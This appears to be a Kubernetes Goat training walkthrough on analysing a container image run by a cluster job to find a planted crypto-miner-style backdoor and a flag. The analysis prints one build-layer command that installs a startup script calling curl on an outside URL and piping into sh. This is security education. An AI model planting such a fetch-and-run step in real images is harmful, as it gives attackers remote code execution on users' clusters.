


✳️ Analyzing crypto miner container

👉 Overview

It's commonly seen that most of the container users download the images from the public container registries like Docker Hub and others. We have seen a ton of hacks and compromises of these and also attackers abusing these by uploading the container images which has crypto miners to use the cluster resources. In this scenario, we see one simple and very common way of exploiting these vulnerabilities in the public container images.



Kubernetes Goat: Scenario diagram WIP

By the end of the scenario, we will understand and learn the following

1. You will learn to analyze the container image
2. Understanding Kubernetes jobs and working with them
3. Learning about container image manifests and the backdoors and crypto miners

⚡ The story

Crypto mining has become popular with modern infrastructure. Especially environments like Kubernetes are an easy target as you might not even look at what exactly the container image

builds upon and what it is doing with proactive monitoring. Here in this scenario, we will analyze and identify the crypto miner.

INFO

- To get started, identify all the resources/images in the Kubernetes cluster including jobs

```
kubectl get jobs
```

> kubectl get jobs -A					
NAMESPACE	NAME	COMPLETIONS	DURATION	AGE	
default	batch-check-job	1/1	4s	19h	
default	kube-bench-master	0/1	49m	49m	
default	kube-bench-node	1/1	5s	44m	

Goal

TIP

To complete this scenario find the `k8s_goat_flag` flag value in the batch-job container image

□ Hints & Spoilers

▶  Found the container image?

▶  Still no flag?

Solution & Walkthrough

Method 1

INFO

Identify all resources within a Kubernetes cluster. If possible get into details of each container image available in all the nodes within the cluster as well

- Once we have identified the job in the Kubernetes cluster, we can obtain the pod information by running the following command

```
kubectl describe job batch-check-job
```

```
> kubectl describe job batch-check-job
Name:          batch-check-job
Namespace:     default
Selector:      controller-uid=f201b41c-9724-43c4-b347-eceb43a42bfa
Labels:        controller-uid=f201b41c-9724-43c4-b347-eceb43a42bfa
               job-name=batch-check-job
Annotations:   Parallelism: 1
Completions:   1
Start Time:    Sun, 14 Jun 2020 17:29:13 +0200
Completed At:  Sun, 14 Jun 2020 17:29:17 +0200
Duration:     4s
Pods Statuses: 0 Running / 1 Succeeded / 0 Failed
Pod Template:
  Labels: controller-uid=f201b41c-9724-43c4-b347-eceb43a42bfa
           job-name=batch-check-job
  Containers:
    batch-check:
      Image:      madhuakula/k8s-goat-batch-check
      Port:       <none>
      Host Port: <none>
      Environment: <none>
      Mounts:     <none>
      Volumes:    <none>
  Events:      <none>
```

- Then get the pod information by running the below command which showcases the pods with the labels and selectors matching

```
kubectl get pods --namespace default -l "job-name=batch-check-job"
```

- We can get all the information of the pod spec by running the following command, which returns the entire manifest information in the **YAML** output format

```
kubectl get pod batch-check-job-xxxx -o yaml
```

```
> kubectl get pod batch-check-job-r7f9z -o yaml
apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubernetes.io/limit-ranger: 'LimitRanger plugin set: cpu request for container
      batch-check'
  creationTimestamp: "2020-06-15T11:04:27Z"
  generateName: batch-check-job-
  labels:
    controller-uid: 02e26e55-3e32-4fd5-bb60-eb48f16f0285
    job-name: batch-check-job
  name: batch-check-job-r7f9z
  namespace: default
  ownerReferences:
  - apiVersion: batch/v1
    blockOwnerDeletion: true
    controller: true
    kind: Job
    name: batch-check-job
    uid: 02e26e55-3e32-4fd5-bb60-eb48f16f0285
  resourceVersion: "619808"
  selfLink: /api/v1/namespaces/default/pods/batch-check-job-r7f9z
```

- We can see that this job pod is running `madhuakula/k8s-goat-batch-check` docker container image
- Now we can perform an analysis of this container image, by looking at its layers and how it got created. Here we can see that it contains a command executing the external script in the build time in one of the layer

```
docker history --no-trunc madhuakula/k8s-goat-batch-check
```

IMAGE	CREATED	CREATED BY	SIZE	COMMENT
sha256:03fb600ce4307bd1d47c05deaae9a87a39b6766dabf72b76ad75265839ea01fd	37 hours ago		0B	/bin/sh -c #(nop) CMD ["ps" "auxx"]
sha256:500eb24d050585440036b43f25c0675341a912fd29252c69d9589ab7ddbf829c	37 hours ago		0B	/bin/sh -c apk add --no-cache htop curl certificates && echo "curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup && rm -rf /tmp/*
sha256:ab78a5a3d01cce9a45e153589776015ddb5cbad188b96f759fbb2ba0e9986f00	38 hours ago		2.07MB	/bin/sh -c #(nop) LABEL MAINTAINER=Madhu Akula INFO=Kubernetes Goat
sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e	2 weeks ago		0B	/bin/sh -c #(nop) CMD ["/bin/sh"]
<missing> b3c067650954815f391b7bcb09023f984972c082ace2a8d0	2 weeks ago	in /	0B	/bin/sh -c #(nop) ADD file:c92c248239f8c7b9

```
echo "curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup
```

- Hooray 🎉, now we can see that it contains the Kubernetes Goat flag



DANGER

This is the common way attackers push crypto miner images into the public container registries where we don't have a way to introspect the Dockerfile and end up running crypto miners as we don't know how the container image has been built



References

- [Docker Hub Hack of 190k accounts review](#)
- [20 Million Miners: Finding Malicious Cryptojacking Images in Docker Hub](#)
- [Tainted, crypto-mining containers pulled from Docker Hub](#)

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